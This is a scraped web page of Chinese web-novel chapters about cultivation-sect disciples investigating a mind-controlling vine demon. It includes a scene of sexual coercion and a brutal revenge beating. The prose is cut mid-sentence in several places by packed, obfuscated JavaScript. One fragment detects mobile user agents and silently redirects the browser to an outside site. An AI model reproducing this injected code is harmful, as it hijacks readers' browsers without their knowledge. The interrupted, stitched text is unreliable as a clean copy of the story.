这句话明显不是在问柳伏意的意见,她也心知肚明,但偏偏嘴皮子像中了邪,语调温柔恨不得把一个“好”字在嘴里雕出花来。 田大洪听罢心情大好,笑容更甚加重了满脸的横纹,显得那张圆脸更恶心了。 “哎哟真乖。陈家大弟子,光风霁月,风度翩翩,要是被当众抓了奸……他会羞愧自杀吧?” 他意淫完毕,终于把眼神落在柳伏意脸上。 “来,舌吻。” 45. 缠心藤(五) 柳伏意面前,田大洪的五官越来越近,他的舌头简直就要舔到她的脸了。 他嘴里难闻的烟草味冲进她鼻腔。 柳伏意忍无可忍,嘴上再怎么谄媚附和,双手的动作倒是十分实在,强忍着不适一拳将他打晕过去。 “叶锦,这回我可是替你挡了个劫啊!”她暗道。 然而她一抬眉,就与不远处的小师弟对上一眼。那师弟不管三七二十一,连招呼都不跟她打,转身边跑边吼—— “叶锦师姐收了田大洪的藤花!!” 柳伏意猛然意识到这件事的严重性,又朝田大洪面门来上一拳,确保他一时半会儿醒不过来。随即抓紧离开这块是非地,一路狂奔着往栖山阁去。 栖山阁后院中,阮长风顾元香玄易找到了一些现成的食材,看样子是老人家这几天准备吃的。荤菜嘛有猪肉,素菜的品类就多了,甚至还有回春派特有的芪霜草。 三个人没下过厨房,顾元香就听沈听寒的安排,在一旁洗菜,玄易和阮长风负责生火。 院中一切都浸润着家宅安宁的和谐,四人连日奔波的紧张感也慢慢被饭菜香味冲淡。 直到……柳伏意满头大汗惊魂未定地从后厨门口摔进来。 顾元香顾不上擦干手上的洗菜水,立刻双手拔双剑护在柳伏意背后:“咋的!?哪家不要命的来追杀了?!” 沈听寒把柳伏意搀起来,替她拍了拍衣裙上的土:“你怎么了?谁能把你逼得像兔子一样落荒而逃啊?” 玄易和阮长风也靠过来,眉头紧皱十分不解。 柳伏意简单把刚才发生的事情和他们说了,于是肉眼可见的四人的表情更加不善了。 “没事,已经过去了,这几天你就在我们眼皮子底下呆着,他敢来我们一定砍死他。”阮长风皮笑肉不笑,眼里的怒火几欲喷薄而出。 爷爷的,这可是他们清云峰最亮眼最细心呵护的一朵小花!! “阿弥陀佛……这世上怎么会有这么贱的猪头男!癞蛤蟆光想吃天鹅肉痴心妄想!也不知道撒泡尿照照自己是什么德行!把姑娘当玩意儿呢这是!?死回春派贱德行不改!”玄易唾沫子横飞怎么骂都不解气,柳伏意的事情登时就让他想起在楼家受欺凌的那段时间。 一帮人渣!!! 死不足惜!!! 顾元香气愤之余想起来个细节,特地软了软语气显得平和一些:“师姐,那朵造孽的藤花呢?” 柳伏意想了想,她接了藤花之后就被田大洪的疯狂吸引了目光,回过神来那朵花就不见了。 “不会掉在地上啊,我走的时候看那条路除了田大洪什么都没有。” 话音刚落,陈青黛撩开后厨的门帘,和灰头土脸的几人打了个照面。 她一句话没说,转身去侧厅坐下。 几人面面相觑不明所以,沈听寒瞥了一眼油锅,道:“算了,上菜吧,她应该有事跟我们说。” 五毒团上好菜,陈青黛坐在主位上一言不发,眼神却总是若有似无地往柳伏意脸上瞟。 半刻过后,柳伏意终于忍不住了。她搁下碗筷,转身与陈青黛面对面:“陈道友,你有什么话就说吧。你再斜我几眼,我饭都吃不下去了。” 陈青黛有些难以说出口,顶着几人愈加考究的目光,压低声音道:“你是不是接了田大洪的藤花?” “是啊,你是来替他跟我解释的?” 陈青黛摇了摇头,竟然从她脸上看出些不好意思:“其实回春派一直都有一个传闻……有一株藤花蒙天地灵气日月之辉灌溉而成,白藤有灵,可变真心。只要摘下一朵藤花,送给心仪的女子,就能获得她的芳心。” 柳伏意闻言一惯的冷面有些崩塌,内心已经无比崩溃:“你咋早不说?” 阮长风不愧是听人说鬼话听多了的,他随手把筷子砸了出去,话里话外都透着再不容忍的狂怒:“这是美化公关版本吧?真实的那版是怎么说的?” 陈青黛抿了抿唇,道:“呃……原本是给一些怎么追女神都追不到的家伙听个乐的,好像是从黄家流传出来的。说是舔狗舔到极致不如送朵藤花给对方,只要藤花一接触她的皮肤就会瞬间化成一股灵气融入骨血,从那以后接受藤花的人就会对送花人言听计从任他为所欲为……但这个说法从来就没有官方证实过啊!” 柳伏意无奈道:“现在就有了,我可以证明他说的是真的。” 沈听寒越听越觉得恼火,笑意早就被一抹化不开的阴郁取代。 “所以这毒怎么解呢?” 陈青黛不敢看他,只是把头低下去。 顾元香沉默许久,终是弄明白了:“我觉得回春派的变故,陈家入魔,倪黎之死,和舔狗传说,都和一种妖有关。” 她一本正经,解释说:“我在西域的一本杂谈里看到过,有一种藤名叫缠心藤。缠心藤以人心为食,但并非如狐妖剜心一般生食人心。是让藤丝进入人体在人心上生根逐步成长,回春派的天狗传说大概就是作为藤丝主人的男方把缠心藤放入女方体内,缠心藤蚕食女方的意志。所谓食人心,先是毁人心智。所以传说才会表现为,高岭之花对猪头男言听计从。” 陈青黛蹙紧眉头,如果这一切都是这个叫缠心藤的妖物在捣鬼就麻烦了。 回春派的白藤成千上万,就算弟子们一人排查十根都不见得能有什么成效。 顾元香一个响指拉回他们的注意力:“而藤丝进入人体的时间越长,越会像它名字那样,圈圈缠绕住人心,根茎以人心为土,以心血为养料,直至整颗心都被缠心藤吸收完毕,成为种子血木藤。就像倪黎之死一样,血木藤渴望血气会再度发芽冲破死者的皮肉,一路生花。血木藤能否长成新的缠心藤,关键就在于有没有下一任宿主可供寄生。” 几人几乎明白了缠心藤的原理,陈青黛又问出一个她最为关心的问题:“那我叔父们入魔是怎么回事?他们身上可没有藤花。” 顾元香道:“他们没有接过别人给的藤花,也不意味着没有闻过或接触过。植物每个阶段每个部位的作用都不一样,你们整天拈花弄草应该很了解。缠心藤也会有花粉,此花气味宜人,清甜馥郁,闻起来根本不像是危险植物。但如果是长期接触,就会致幻。” 她点了点桌子,提醒说:“而且我说的,尚且是没有化为妖灵的纯种植物。” 言下之意,恰逢时契得以化为藤妖的,致幻的本事不容小觑。 想到陈家六大长老莫名入魔,陈青黛背后已经汗湿一片。 这害人的东西日日放在眼皮子底下,六大宗师竟然一点都没察觉。 柳伏意见她眉头紧皱嘴唇发颤,扶住了她的手背:“陈青黛,回春派事实上就是由三大世家裂地自治,所以每个家族之中都有能力突出的长老。那为什么偏偏只有你们陈家的长老时时接触缠心藤,其他人就没事呢?” 陈青黛抬眼,柳伏意已经没有方才那种惊惶的神色了。 “你的意思是,陈家有内鬼?” 玄易及时补刀:“要不是内鬼,怎么可能每天把有毒的藤花放进长老屋里还不引人注目啊。” “相信以你的本事,审出是谁做的局并不难。到时便可顺藤摸瓜,找出缠心藤所在了。”顾元香道。 闻言,陈青黛连满桌子饭菜都没胃口吃了,拎着她的剑就气势汹汹地冲了出去。 五人望着她的背影哑口无言,良久过后,阮长风才吐槽一句:“这风风火火的性子是遗传谁了……” 算了,天大地大,吃饭最大。 “还合胃口吗?”沈听寒见柳伏意叨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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过路的弟子见这三人凑到一块儿去,心下忍不住地害怕。一个楼家人,一个黄家人,还有一个陈家的左膀右臂张通天,各个都不好招惹。 “在……在……在前面凝晖堂。” 凝晖堂这种地方沈听寒熟悉啊,养伤看病的地儿嘛。 三人追过去,在凝晖堂里外翻了一遍,没见到田大洪。 玄易正叹着气估摸着要无功而返了,倒是在凝晖堂后的茅房里发现了伤痕累累的田大洪。 三人如三座大山一样杵在他面前。 田大洪眼睛被打肿了,他都看不清面前这三个丧良心挡路的是谁。 “死陈观澜!!你们陈家都寥落了!你竟然还敢揍我!”他愤愤不平,扶着墙站起身来抖了抖土,“哼,喜欢叶锦是吧!?看我不玩死她!” 话音甫落,沈听寒阴沉着脸,二话不说上去就是一拳。 “?!” 玄易阮长风从来没见过他出手这么迅速,同样不甘落后相继落拳,阮长风甚至还自报家门。 “老子黄渊,打你有意见!?” “唉唉唉干什么啊我又没得罪你们!!” 田大洪也是见了鬼了,一天被人打了四顿。而且顿顿下死手拳拳到肉,痛的他叫都叫不出声来。 阮长风倒是抽空看的很清楚,沈听寒不愧是在医修一道最有建树的,专往人最痛的穴位怼。 他那伤筋断骨手四处一拧一抽,田大洪下半身直接瘫痪了。 “管不住下半身我帮你,不用谢我。” 沈听寒本来都抬步准备要走了,又听见田大洪喉间呜呜咽咽出来几个不怎么中听的词儿。 哪怕被打的没人样儿了,嘴里还在意淫辱骂叶锦。 要多下三滥有多下三滥。 沈听寒难以想象,那些毫无遮掩、直白又下作的荤话,田大洪都当着柳伏意的面说出来。 甚至还逼她接受。 阮长风和玄易互望一眼,知道这哥们儿的嘴也是凶多吉少了,默默退后一步,留给沈听寒足够的发挥空间。 沈听寒冷哼一声,上手在他颌间一拧,“咔叱”——田大洪自己就把那条舌头给咬断了。 46. 缠心藤(六) 田大洪口中鲜血喷涌而出,将他衣领前襟都染得一片通红。不管他心里是不是真的老实,当着这三个煞星的面也不敢表露出什么不爽的神色。 阮长风和玄易见了他这副惨象,也只是抱臂端详了一阵。人渣的确死不足惜,但他要死也不能现在死。 “放心,不会死的。” 沈听寒伸手拽了拽玄易宽大的衣袍,当着他的面儿擦了擦手,重新恢复出一个极具迷惑性的温柔笑意。 三人你一言我一语地回到栖山阁。彼时柳伏意和顾元香都已经散了头发梳洗好准备睡了,却又呆在侧厅里坐着。 二位困得眼神都显出有些呆愣。 “困了干嘛不回去睡?”阮长风随便挑了个位置坐下,见顾元香大大地打了个哈欠。 三人的易容解去,柳伏意给他们各自倒了杯茶。 “陈青黛刚刚让张通天来通知我们,她有事要跟我们谈。” 玄易是看不惯回春派这种上级有事,随时随地传唤底下弟子的做派。 “成天搞突击,无语。” 他表情略有不忿,便被后头不知什么人敲了脑壳:“秃驴,你别太恨了。” 陈青黛撩袍在柳伏意身边坐下,沉下心来,脸色就突然难看了不少,好像板凳吸走了她浑身阳气似的。 她表情的迅速变化让柳伏意和顾元香难免瞪大了眼睛,冲脑门的困意也一下被驱散了。 陈青黛让张通天在外头守着,同柳伏意道:“我去查了,往陈家长老房中送过花的弟子全都死了。” “不是,你们回春派死个弟子这么容易的吗?在此之前你都不知道有人死了?”玄易道。 他对回春派是新仇加旧恨,一逮到机会就要戳几句。 “门内之事你不了解?世家各有区域,但楼家以财帛渗透其余两家广置耳目,黄家以权威逼。谋害陈家宗师一事牵扯甚广,要弄死几个弟子有什么难?黄家挖坑楼家埋啊。” 陈青黛毒辣的目光在玄易脸上恨不得剜出几个洞来,就因为他是楼家人,世家之间纠葛几代的恨便顺其自然地延申到他们二人身上。 眼看着要跑偏,柳伏意一手托腮,暗暗叹了口气,另一手伸到二人眼刀中间打了个响指将主旨拉回来。 “总归跟门内世家有关,能有这么大能力的,也就是楼黄两家的核心人物了……但我们都是外来人,不大了解门内情况。” 她给陈青黛留了话茬,青黛对她感觉还不错,话里对玄易的硝烟怒意转而便平息了,耐心给她解释说:“先说楼家吧,楼家如今的当家人是这和尚的二叔父楼平,少家主就是你们见过的,楼平的长子楼文。楼家子嗣众多,但核心权力几乎都集中在老家主楼琛、现任家主楼平和少家主楼文手中。” 顾元香点点头,陈青黛睨着玄易道:“老家主一共有四个儿子两个女儿,除了楼平几乎都离他而去。楼琛最青眼的一个儿子就是这和尚的亲爹,楼广。” 想起玄易幼年的经历,柳伏意略有不解,但顾念玄易的感受也不好多问。 玄易察言观色,捕捉到她的那么点变化,主动说:“因为我娘,她曾经和陈家的人有过旧情。” 陈青黛闻言毫不客气地补刀说:“什么旧情,她本来就应该嫁给我三叔父的!是你爹横刀夺爱,娶了她又不珍惜她。” 玄易恨不得一个罗汉掌拍死她,架不住她说的大概是实话,陈青黛提到他的母亲叶文暄,脾气也慢慢缓和下来。 她说:“叶文暄是我见过最厉害的女子,她心怀大志,善良且待人以诚。楼琛原本看重她,以巨礼作聘,更是各种手段给她母家施压。叶文暄的母家见钱眼开,便将她许给了楼广。嫁给楼广过后两人相敬如宾,一直没有子嗣。后来楼琛发现叶文暄藏了一幅我叔父的画像,就对她百般羞辱……” 陈青黛不会顾及玄易有没有什么家族隐痛,将他心里最后一点遮羞也尽数扒下。 “她为了生楼晏难产而死,楼广为其殉情而亡,楼琛反而疑心楼晏不是楼广的孩子。” 有道是敌人才知道你究竟受了多少苦,陈青黛难得为玄易澄清一句:“他就是楼广亲生的。我叔父和叶文暄都是知礼明义之人,不会婚后再私相授受让楼家和陈家两家蒙羞。” 但很显然,楼琛不信任儿媳,更不信任陈家人,才让年少的玄易饱受欺凌。 陈青黛起初听闻此事内情也不由感慨,楼晏怕是他们楼家祖坟冒青烟才得来的子孙了。相貌堂堂、修为高强、天赋卓绝,这样的好苗子偏偏是被楼家自己给毁了。 “而黄家子嗣很少,老家主黄明只有两个儿子,其中还有一位从小心思诡谲被从族谱除名,不在宗内。目前的嫡系子孙便是大儿子黄振,以及黄振的儿子黄毅和黄渊。” 值得一提的是,黄毅和黄渊虽说是亲兄弟,但彼此之间势同水火。 “黄家都把黄渊当成草包少爷来养着,总之不给权力也不会惹出什么大祸来……” 柳伏意等她介绍完,终于问出了心里好奇已久的那个问题——“黄渊跟倪黎是怎么回事?” 陈青黛脸上一闪而逝的尴尬被阮长风尽收眼底,他大致就能猜出黄渊和倪黎之间定然也有些不可言说的缘起。 比如……舔狗传说。 他收敛神色不置一词,只等陈青黛把该说的都说完。 毕竟是黄家的丑闻,而她确实又是因为记恨楼家才直接把他们灵剑派五个人抓回来的。如今既然几人和他们陈家是一条绳上的蚂蚱,那也不必再隐瞒下去了吧。 陈青黛将面前的茶一饮而尽,喝茶喝出百年陈酿来给自己壮胆的感觉来。 她说:“你们猜得没错,倪黎不喜欢黄渊。她从前很讨厌他,因为黄渊总是在莫名其妙的场合对她献殷勤,弄得她一直处于风口浪尖。不少人因为黄渊的所作所为猜想倪黎本人的作风,也效仿黄渊对倪黎口出狂言,甚至动手动脚。” 顾元香还没听完就已经忍不住了,如她所说,倪黎分明就是被黄渊算计了,让她失了心智才成了他的道侣。 这和拐卖又有什么区别?倪黎本人不愿,竟然也没有一人伸出援手帮帮她,直到她被缠心藤折磨而死。 “听你说了这么久,你们陈家倒是很无辜啊,一点手段都没用,光被人害?”阮长风提了提眉,他自始至终就不可能对陈青黛的说法全盘接受。 对于阮长风这个人,青黛也早就了解过,在人间红尘混得久了,察言观色相面知微的本事堪称炉火纯青。 如要保持五毒团对她仍然信任,她不能有丝毫的隐瞒。 “自然有,不过和缠心藤无关。”她深吸一口气,拍着胸脯保证道,“同为女子,有我做少家主,陈家内部不会发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162881|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舔狗传说一事。” 顾元香长长地“噢”了一声,门内的状况了解清楚了,他们就不得不面临一个严峻的问题。 谋害陈家宗师的弟子都被秘密处死了,可以说是一点线索都没有。那他们要如何锁定缠心藤的位置? “倪黎怎么会出现在春花驿呢?你们是为什么会去那边找人的?”柳伏意问。 陈青黛默了许久,栖山阁的气氛就陡然降至冰点。 从玄易的位置看过去,可以越过侧厅半开半合的木门,看见正厅之中满墙的灵位。 新上的檀香已经被星星的烟火吞食一半,香灰被不知道何处吹来的风裹挟,摔落在红木古桌上。 他等了很久,便不想再和陈青黛浪费时间了。 “你要是说不出口,就走吧。”玄易起身,素来和煦的脸上第一次有如此冷若冰霜的颜色。 他恨回春派所有世家,出生以来就秉着世家之子的地位荣耀,想要什么都是唾手可得。楼黄两家之子如此,草菅人命,毫无人道,陈青黛也不见得是多么出淤泥而不染。 一定有人因为她而死,只是她隐瞒着,他们才一无所知。 阮长风见玄易接受无能也不再旁观,起身跨了几步,做出手势请陈青黛离开。 “回春派三大世家,都不是好相与的。既然有事隐瞒,那我们也无法相信你。” 阮长风话说的密不透风,陈青黛只能转眼去看柳伏意和顾元香。对于青黛来说,柳伏意同样背负着门派之责,一言一行都足以影响许多人,应当能体谅她几分。 然而柳伏意却比玄易阮长风更加盱衡厉色。 “倪黎之死对我而言,比三大世家谁存谁亡都更加重要。” 顾元香赞同地点了点头,陈青黛环顾四周,没有一个人能接受倪黎之死不明不白。 她与楼黄两家的恩怨与灵剑派本无干系,但既然这几人非要掺和进来,并且已经知道了这么多内情,再告诉他们一些也没多大的妨碍。 他们已经是一条绳上的蚂蚱,如果灵剑派五人不听她的…… 先斩后奏,杀光就是。 “倪黎死前有一段时间意识是清醒的,她给我留了信件,但那封信很奇怪,我没有看懂。” 她勾了勾唇,笑容危险,毫不避讳自己见死不救的事实。 “她死前求我救她离开黄家,但我不想惹祸上身拒绝了她,没想到她因此情绪激动暴毙而亡。我怕黄渊知道了会以此发难,就让人把尸体挪去了春花驿,假称是逃跑时暴毙。” 顶着阮长风毒辣的目光,陈青黛还是改了说辞:“但楼家耳目众多,倪黎死在陈家的消息被走漏,楼文卖黄家的面子,把我运尸的事情告知了黄毅。陈家本就势弱,如果我再卷进枉杀弟子的风波里,陈家就彻底危机了。” 她轻笑一声,带着几分嘲弄:“就在我骑虎难下的时候,你们五个出现了。我不想背杀害倪黎的黑锅,黄家又步步紧逼一定要个说法,你们就是最好的替罪羊。” 柳伏意皱了皱眉,突觉整个回春派势力纠葛无人可靠。 她叹了口气,无奈道:“那封信写了什么?” 陈青黛卸下所有伪装反而浑身一轻,从怀中掏出那封信件,展示在几人面前。 信上只用极其潦草的笔触留了四个大字。 “鱼目混珠。” 47. 缠心藤(七) 等陈青黛走后,顾元香都有些后怕。 一个长的这么漂亮的女孩子,看起来和她师姐如出一辙的靠谱,前头还拍着胸脯保证绝不会让自己麾下的女子受缠心藤的威胁,后脚就敢当他们面承认自己冷血无情见死不救。 整个回春派就像是个充满蛇蝎的瓮! 顾元香起身,看见满墙的陈家的灵位,甚至还有陈家祖宗的遗像,心情更不好了。 她面上的血色慢慢褪去,柳伏意收拾好桌椅,看见她还愣在原地不回房间。 “怎么了元香?” 顾元香拉上她的手晃了晃,撒娇似的扑在她身上,一句话里语调得拐三个弯:“师姐~我有些害怕~晚上能不能跟你一起睡啊?” 柳伏意笑了笑,揉揉她的头发,应道:“好啊。” 俩人躺在榻上,顾元香八爪鱼似的缠着她,柳伏意也不恼,任由她扯着自己的手臂。 “师姐,你说我们能处理掉缠心藤么?”她话里带着犹疑,“西域杂谈上,缠心藤灵活又聪明,很难对付。上一次出现伤了顶顶多的人,后来还是什么天师出山才平定的。” 她不是对柳伏意没信心,而是对自己的本事不够信任。 “我根本就不算是个剑修……” 柳伏意闻言,轻轻拢了拢她的肩:“为什么总是不相信自己呢?” 柳伏意睁眼,一片的漆黑。 就像她觉得自己要死的时候,脖子被勒的太紧,呼吸卡在喉间上不来。 她的眼前就是一片虚无。 但她听得见顾元香的声音,知道她正在为救自己而努力。 那天比武台上顾元香的声音,是她强撑着活下去的支撑力。 “元香,你自认为什么都不会,却敢为了我跟陈家宗师对阵。” “你是最勇敢的了。” 柳伏意翻了个身,将顾元香揽在怀里,柔声宽慰道:“剑术不好也总会进步的,你现在可是咱们五毒团战力第二强悍的呢。你都妄自菲薄,叫那三个男的怎么办?” 顾元香一想到还有人比她更烂,不由破涕为笑。 “那你有什么办法找到缠心藤吗?” 柳伏意默了默,话里藏着笑意,元香不知道是不是听错了,总觉得那笑之中还掺杂了一些……痞坏。 “明天睡醒,你就知道了。” * 翌日早晨,沈听寒一早就把阮长风和玄易踹了起来忙活早饭。早饭不必吃的太丰盛,因而花费时间也不长。 玄易坐在灶台前头,连眼睛都没睁开:“修士一天不吃都不见得有事儿,你咋每顿都得落实啊?困死我了……” 略显逼仄的厨房中,水声潺潺,白烟袅袅。玄易一面嘟囔着,一面开始鼓劲儿生火。 两步之遥,阮长风正从院中水缸里挑了水择菜。 他昨晚睡得同样不好,总觉得这个栖山阁阴森森的。自个儿仅剩的那点儿灵力也不敢搞个阵法让鬼显形,万一真是死不瞑目的陈怀春,他得把自己吓出个好歹。 “一日三餐吃满,身体才能好啊。” 沈听寒从他的包袱中掏出一个锦盒来,递到玄易面前,说:“伏意身体不好,饭后要吃药。这是早上的剂量,你帮忙熬了吧。” 玄易嘴上不饶人,干活倒很是勤快。毕竟柳伏意身体好一些,他才能在回春派横着走。 “好~~我的沈大医师~~” 阮长风打着趣儿,见两位师妹同时从房里走出来。他笑呵呵道:“哟,都不用叫,她俩这个生活习惯还挺健康呢。” 顾元香仍然缠着柳伏意左摇右晃,两只圆圆的小鹿眼恨不得照射出两道灵光把她看透。 “师姐!!天都亮了,你可以告诉我是什么办法了吧?” 沈听寒将早食摆上桌,几人说笑一阵,玄易也把柳伏意的药给端上来了。 他闻着,这药用的虽然都是顶苦刺鼻的药材,但熬过之后并不冲人,反而有一种……甘甜清冷的味道。 想必怎么给柳伏意配药不苦口不难闻,也耗费了沈听寒不少心思。 玄易勾了勾唇,往沈听寒身边一凑,头就靠在他肩上。 他就是想恶心沈听寒一下,故意拈酸吃醋道:“听寒~你要是这么对待我的话,我一定会为了你还俗的。” 沈听寒只是笑笑,他对别人语言上的冒犯从来都一笑置之。 玄易自觉没趣,大大地白了他一眼,抓起面前的早饭来狼吞虎咽。 阮长风斯文地喝了口粥,看见她俩的异状,一扬眉梢道:“伏意,你究竟怎么招惹上这个小疯子了?” 柳伏意抬眼看了他一下,转而就把目光挪开了,倒像是有些心虚。她连敷衍的话都不出口,只顾着吃早饭。 桌上一阵风卷残云后的狼藉,沈听寒和玄易起身自然而然地将收尾的活儿揽过来。 两位姑娘便在阮长风面对面坐着。 “师姐,这下你总可以说明白了吧?我真是好奇死了!昨天大半夜都没睡着觉。” 顾元香本来不至于这么沉不住气的,但偏偏藏着掖着不说的人是柳伏意,这和她的人设出入太大,元香才按捺不住地思考背后到底是怎样炸裂的真相。 阮长风听顾元香这么说也挺好奇的,随口问道:“啥事儿啊还这么卖关子,不像你的个性。” 柳伏意见沈听寒和玄易靠过来了,眼一眯笑意渐浓:“我有找到缠心藤的办法了呀~” “真哒!?”玄易惊呼一声,将她的药双手捧上,就差没亲自给她吹凉了。 “以身入局,方知答案。” 她说完八个字故作玄虚地转过身去喝药,几人各有各的想法。 沈听寒和玄易怔愣片刻,互相望了一眼,自知祸不关己,笑了笑便回去忙自己的事儿。 以身入局,除了阮长风,哪还有比他更合适的人选? 除却云里雾里搞不清楚状况的元香,就只剩下阮长风满脸黑云,在心里不住地反问自己,有没有得罪过五师妹。 不然她怎么能想出一个这么坑人但又似乎有效的办法? “啥意思啊。” 阮长风深吸一口气差点没背过去,就顾元香这种意气有余但脑子糊涂的,这能跟他配合好?! “伏意的意思,就是我装一个超级大舔狗,来追求你。”他把顾元香渴求一晚的真相说出来,几乎要被自己未来的经历雷到吐血。 凭什么!? 凭什么让他来当大舔狗!? 本色出演的最佳人选应该是沈听寒才对吧!? 他微笑着,目光逐渐飘过柳伏意沈听寒和玄易,一字一顿地说出了自己的心里话。 “我真恨你们。” * 回春派陈家所辖之地,洁白藤花随处飘落,日光氤氲木气温馨。 若不是藤花被“舔狗传说”镀上了一层恐怖奇谈的色彩,想必会有不少适龄弟子在成片的白藤林下谈情说爱。 正是回春派下了早课的时辰,乔装成张通天的阮长风一早就将自己打扮的干练帅气。 他捧着玄易从不知何处顺来的五颜六色的彩花,又由心灵手巧的沈听寒把它制成精致漂亮的花束,等在“华烟”下课的必经之路上。 一见到那道熟悉的身形,阮长风一个闪身,健步如飞地一拐腰,拦住了顾元香的前路。 他颇为油腻地用大拇指摩挲着自己的下唇,手掌擦过自己刀削般的下颌线,用极其低哑的声音道:“华烟师妹,不知你心中可有给师兄留一点位置呢?” 顾元香哪怕知道面前这个张通天是阮长风假扮的,那种被猥琐男骚扰的感觉也无法克制,一股恶寒从脚底直窜天灵盖。 阮长风在她面前将她的一点儿颤抖尽收眼底,当着众位弟子的面乘胜追击。 “哟,师妹怎么手抖了?可是被我迷的神魂颠倒?” 他一把将那捧花塞进顾元香怀里,当即单膝跪地言辞恳切,那双从前只有浩然正气的眼里第一次染上化骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阮长风的戏并没做完,他目睹顾元香拂袖而去,师兄弟姐妹们将他团团围住指指点点,环顾一圈便柔弱无辜似的立刻跪在地上,朝着顾元香离去的方向声泪俱下…… “师妹!!华烟!!烟儿!!没有你我可怎么活啊!!” 他痛哭捶地,仰天狂吠道:“华烟!这是你逼我的!我一定要让你爱我爱到天荒地老海枯石烂!!” 他起身,擦干眼泪,捡起地上那束被顾元香甩飞的捧花,像是捧着一颗赤诚火热的真心。 “烟儿,我一定不会放弃你的!” * “哎,栖山阁那边张师兄正在给华烟师妹表白呢!” “啊?可是华烟师妹不是一直跟着叶锦师姐,很少露面的吗?张师兄看着那么老成,居然也会玩一见钟情?” “呸!什么一见钟情啊,不就是见色起意吗?张通天身为修士那么多年,竟然还忍不住那点□□。” 张通天正同陈青黛在凝晖堂中查阅典籍,寻找能够解除缠心藤之毒的办法。 细碎的言语被风吹进凝晖堂,落进二人耳朵里。 “?” 他是耳朵有毛病听错了吗? 张通天有些莫名,顿了好一会儿,抬头望向对面沉心看书的陈青黛。 “她们说的见色起意猪狗不如道貌岸然的张通天师兄,是我吗?” 陈青黛头也不抬:“嗯,是你。” 他咀嚼一阵儿便明白了这到底怎么回事,火气翻涌怒发冲冠,当即拔了剑要冲去栖山阁。 “岂有此理!那五个毒人!坏我名声是吧,老子这就去砍死他们!” 他一起身,身后便突现毒蛇吐信一般的声音。 不等他抬步,就被陈青黛用袖鞭扯了回来:“要么你坐下等那些人把戏唱完,要么我把你打到残废,然后你再等他们把戏唱完。” 左右他的名声就是得毁了呗? 张通天的背影一滞,极不情愿地将头扭了回来。他看着面前年少又心思狠毒的少主陈青黛,皮笑肉不笑,只能回应一句:“君要臣死,臣不得不死。” 48. 缠心藤(八) 张通天追求华烟一事,并非三两天能成的,陈青黛索性直接将张通天软禁在严冬牢,美其名曰为门派做贡献。 华烟本就不露面,此事更是传不到她们耳中。 于是阮长风一早打听好了华烟平日的住处每日蹲守,好在华烟本人自入道起便与叶锦形影不离,和同宿姐妹不算相熟,顾元香混迹其中才免得露馅。 绿檀屋外,白藤缠绕着院中巨树攀缘而上,日光从藤条的缝隙中透进来,屋中每处都由于温润和煦的阳光泛出一阵清浅好闻的檀香味。 顾元香担惊受怕十分忐忑的内心也因为绿檀清心包容的气味逐渐平息。 与檀香一道飘至里屋的,还有阮长风扯着嗓子嗷的几句真心告白。 同屋的师姐妹被阮长风洪水猛兽似的真情逼得两三个晚上都没睡着觉了,虽知此事与华烟无关,终究还是像抓着最后一根稻草一般,握着她的手,苦口婆心地劝慰几句。 “华烟,不如你出去跟张师兄说清楚吧?他年纪这般大了,在门派中又一惯在意名声,应当不会再对你死缠烂打的。”韦成玉道。 顾元香抿唇不言,紧接着旁边一位姑娘韩倩又接下去道:“就是啊,不怕,我们陪你一起去好了?张师兄都多大了,你才十几岁呢,简直是想老牛吃嫩草!他长的还不好看,五大三粗的一点内涵都没有,根本配不上你!” 顾元香自入了回春派,始终把回春派的人当恶人防范着,乍然感觉到她们的关心,良心不由有些痛。 她面上的笑容尴尬一瞬,照样被身边两位姐妹捕捉到。 “而且啊,不是听说叶锦师姐接了田大洪的藤花嘛?还好田大洪被人收拾了,不然叶师姐也要奔火坑去了!”韦成玉压低了声音,似乎是怕外头几近疯魔的张通天听到。 顾元香蹙了蹙眉,悄无声息地反握住韦成玉的手腕,声音中恰到好处地掺了几分害怕。 “什么叫奔火坑啊?你们说的藤花到底是什么?” 华烟与门派中人隔膜已久,骇人听闻的宗内传说没听闻过也实属正常。 韦成玉与韩倩对望一眼,将顾元香围在中间,小声解释道:“黄家很早前就在培育一株神木,听闻此神木所生之花能叫人在道侣情缘上心想事成。但说白了,就是这花能够操控女子的神智,让她忘乎所以地把男子当做活下去的养分!” 顾元香脸上流露出恐惧,紧接着发问说:“那三大世家怎么都不除去这魔藤呢?若真有此藤花,咱们回春派这么多姑娘,岂非……岂非都做了男子的消遣?” 说到这儿,韩倩的表情就更不好了,她冷嗤一声,唇角勾着,讲不出的轻蔑憎恶。 “哼,陈家尚不能自保,陈青黛眼里哪还有什么门派女弟子的生死清白,满心都是如何保住她陈家的尊位。黄家细心培育这株神木,不就是想吃姑娘们的人血馒头么?”韩倩道。 “那不是还有楼家吗?楼家也任黄家胡来?” 顾元香的语气拿捏的恰到好处,引得韦成玉也十分投入。 韦成玉听到楼家更是不忿,白眼都快翻上天:“你当黄家真的手眼通天?绝迹已久的缠心藤,若没有楼家鼎力支持,黄家哪儿找得到啊!” “啊?!缠心藤是楼家买回来的?”顾元香大惊失色。 这不糟了吗?原本还只打算着是楼黄两家的某些人心怀鬼胎,如今一闻,倒是两家联合为之。 可他们要缠心藤能有什么目的呢?养大那株藤,除了控制女子神智,还有什么值得让两大世家铤而走险的好处? 难道是……搞垮陈家? 那么楼黄两家又如何确保自己的同盟不会叛变呢。难道不是这株藤种在谁家地界,谁就有回春派大权的支配能力么? 韦成玉做了个噤声的手势,拉顾元香小声些。 